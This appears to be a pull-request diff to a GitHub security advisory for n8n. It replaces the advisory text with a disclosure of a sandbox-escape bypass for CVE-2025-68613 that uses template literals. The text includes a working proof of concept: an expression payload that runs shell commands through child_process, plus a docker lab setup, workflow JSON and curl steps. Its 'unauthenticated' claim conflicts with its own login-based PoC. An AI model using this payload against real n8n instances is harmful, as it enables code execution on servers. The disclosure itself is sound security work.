Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v98v-ff95-f3cp",
"modified": "2026-01-09T16:53:15Z",
"modified": "2026-01-09T16:53:16Z",
"published": "2025-12-22T16:19:13Z",
"aliases": [
"CVE-2025-68613"
],
"summary": "n8n Vulnerable to Remote Code Execution via Expression Injection",
"details": "### Impact\nn8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.\n\n### Patches\nThis issue has been fixed in n8n v1.122.0.\n\nUsers are strongly advised to upgrade to version 1.122.0 or later, which introduces additional safeguards to restrict expression evaluation.\n\n### Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation.\n\nThese workarounds do not fully eliminate the risk and should only be used as short-term measures.",
"details": "# Security Advisory: n8n Sandbox Escape via Template Literals (Patch Bypass for CVE-2025-68613)\n\n**Author**: GAN YANNAN\n**Date**: 2026-01-29\n**Affected Versions**: 1.120.4, 1.121.x, 1.122.x (Tested on 1.121.2, 1.121.3, 1.122.1, 1.122.3, 1.122.4, 1.122.5)\n**Fixed Version**: >= 1.123.0\n**Severity**: Critical (Remote Code Execution)\n\n---\n\n## 1. Executive Summary\n\nThis report documents a **new exploit vector** that bypasses the security patches implemented for **CVE-2025-68613** (and related advisory GHSA-v98v-ff95-f3cp). \n\nWhile n8n attempted to mitigate sandbox escapes by blacklisting specific property access patterns (specifically verifying `MemberExpression` AST nodes where the property is a String Literal like `\"constructor\"`), the sanitization logic **fails to account for ES6 Template Literals**.\n\nAn attacker can bypass the existing patch by replacing standard string quotes (`\"constructor\"`) with backticks (`` `constructor` ``). This allows the malicious expression to pass the AST validator while still executing fundamentally same underlying logic at runtime (accessing the `constructor` property to reach the `Function` constructor), resulting in unauthenticated Remote Code Execution (RCE).\n\n## 2. Technical Analysis\n\n### 2.1 The Previous Fix (Incomplete)\n\nIn previous versions (addressing CVE-2025-68613), n8n introduced AST-based sanitization to block access to sensitive properties such as `constructor` and `__proto__`. The logic likely checks `MemberExpression` nodes and inspects the `property` field.\n\nIf the property is a **String Literal** (e.g., `object[\"constructor\"]`), it is blocked.\nIf the property is an **Identifier** (e.g., `object.constructor`), it is blocked.\n\n### 2.2 The Bypass Mechanism\n\nJavaScript allows property access using **Template Literals** (Backticks). In the Abstract Syntax Tree (AST), this is represented as a `TemplateLiteral` node, distinct from a `Literal` (String) node.\n\n**Blocked Payload (Caught by CVE-2025-68613 fix):**\n\n```javascript\n// uses String Literal - BLOCKED\n{{ \"\"[\"constructor\"][\"constructor\"](\"return process...\")() }}\n```\n\n**Bypass Payload (This Vulnerability):**\n\n```javascript\n// uses Template Literal - ALLOWED\n{{ \"\"[`constructor`][`constructor`](\"return process...\")() }}\n```\n\nThe sanitizer fails to inspect/block expressions where the property name is computed from a Template Literal. This allows the attacker to retrieve the `String` constructor, walk up to the global `Function` constructor, and execute arbitrary code.\n\n## 3. Proof of Concept (PoC)\n\n### 3.1 Environment Setup\n\nTested successfully on `n8nio/n8n:1.122.5` (a version released *after* the initial fix for CVE-2025-68613).\n\n**docker-compose.yml**:\n\n```yaml\nversion: '3'\nservices:\n n8n:\n image: n8nio/n8n:1.122.5\n ports:\n - \"5678:5678\"\n environment:\n - N8N_BASIC_AUTH_ACTIVE=true\n - N8N_BASIC_AUTH_USER=admin\n - N8N_BASIC_AUTH_PASSWORD=password\n```\n\n### 3.2 Exploit Method 1: API (Automated)\n\nSave as `exploit_bypass.json`:\n\n```json\n{\n \"workflowData\": {\n \"name\": \"Template Literal Bypass PoC\",\n \"nodes\": [\n {\n \"parameters\": {},\n \"name\": \"Start\",\n \"type\": \"n8n-nodes-base.start\",\n \"typeVersion\": 1,\n \"position\": [250, 300]\n },\n {\n \"parameters\": {\n \"values\": {\n \"string\": [\n {\n \"name\": \"rce_output\",\n \"value\": \"={{ \\\"\\\"[`constructor`][`constructor`]('return process.mainModule.require(\\\"child_process\\\").execSync(\\\"whoami && id && uname -a\\\").toString()')() }}\"\n }\n ]\n }\n },\n \"name\": \"Set\",\n \"type\": \"n8n-nodes-base.set\",\n \"typeVersion\": 1,\n \"position\": [450, 300]\n }\n ],\n \"connections\": {\n \"Start\": {\n \"main\": [[{\"node\": \"Set\", \"type\": \"main\", \"index\": 0}]]\n }\n }\n }\n}\n```\n\n**Execution:**\n\n```bash\n# 1. Setup Owner (if fresh instance)\ncurl -c cookies.txt -X POST -H \"Content-Type: application/json\" -d '{\"email\": \"admin@example.com\", \"password\": \"Password123\"}' http://localhost:5678/rest/owner/setup\n\n# 2. Create Workflow\nID=$(curl -b cookies.txt -X POST -H \"Content-Type: application/json\" -d @exploit_bypass.json http://localhost:5678/rest/workflows | jq -r '.data.id')\n\n# 3. Run Workflow\ncurl -b cookies.txt -X POST -H \"X-Requested-With: XMLHttpRequest\" http://localhost:5678/rest/workflows/$ID/run\n```\n\n### 3.3 Exploit Method 2: UI (Manual Verification)\n\nThis method is recommended for confirming the bypass visually.\n\n**Important**: Do NOT copy-paste the payload directly into the field without ensuring it is treated as an Expression. Raw strings will not execute.\n\n1. Open n8n Editor at `http://localhost:5678`.\n\n2. Add a **Set** node.\n\n3. Add a String field.\n\n4. **CRITICAL STEP**: Manually type `={{` to initiate the Expression Editor mode, or toggle the \"Expression\" button.\n\n5. Paste the following payload :\n\n ```javascript\n ={{ \"\"[`constructor`][`constructor`]('return process.mainModule.require(\"child_process\").execSync(\"whoami && id && uname -a\").toString()')() }}\n ```\n\n6. Click the Execute step button\n\n ![ScreenShot_2026-01-30_152827_065](/Users/ddea/Pictures/ScreenShot_2026-01-30_152827_065.png)\n\n ![ScreenShot_2026-01-30_152852_025](/Users/ddea/Pictures/ScreenShot_2026-01-30_152852_025.png)\n\n### 3.4 Verification Result (Screenshots Attached)\n\nThe execution succeeds on version 1.122.5.\n\n**Screenshot 1: Payload Entry**\n\nShows the valid expression state. Note that the syntax highlighting confirms valid JavaScript.\n\n**Screenshot 2: Execution Output**\n\nThe \"Result\" pane displays the output of the executed command (`whoami` -> `root` or `node`), verifying Remote Code Execution.\n<img width=\"3664\" height=\"1420\" alt=\"ScreenShot_2026-01-30_152852_025\" src=\"https://user-images.githubusercontent.com/41444127/547586905-bd8f7f6c-618e-44ee-bebc-99b4de112614.png\" />\n<img width=\"3320\" height=\"1412\" alt=\"ScreenShot_2026-01-30_152827_065\" src=\"https://user-images.githubusercontent.com/41444127/547586921-2b9dc230-025f-4f8e-9a23-bec2b40c2435.png\" />\n\n## 4. Distinctness from GHSA-v98v-ff95-f3cp (CVE-2025-68613)\n\nIt is crucial to note that **this is not a duplicate**.\n\n1. **Exploit Method**: GHSA-v98v-ff95-f3cp refers to Direct Process Access (e.g., `this.process`) or standard constructor access (`\"constructor\"`). This vulnerability relies specifically on **Template Literal Syntax** (`\\`constructor\\``).\n2. **Affected Versions**: The fix for the previous issue was released in 1.120.4 / 1.121.1. However, this bypass method **works on those exact \"fixed\" versions** (tested up to 1.122.5).\n3. **Validation**: A standard PoC for CVE-2025-68613 will **FAIL** on 1.122.5, whereas this new payload **SUCCEEDS**. This proves the patch was incomplete.\n\n## 5. Remediation\n\nThe patch must be updated to explicitly sanitize or reject property access via `TemplateLiteral` nodes in the AST, matching the logic applied to `Literal` (String) nodes.\n",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -28,30 +28,14 @@
"introduced": "0.211.0"
},
{
"fixed": "1.120.4"
"fixed": "1.123.0"
}
]
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "1.121.0"
},
{
"fixed": "1.121.1"
}
]
}
]
],
"database_specific": {
"last_known_affected_version_range": "< 1.122.x"
}
}
],
"references": [
Expand Down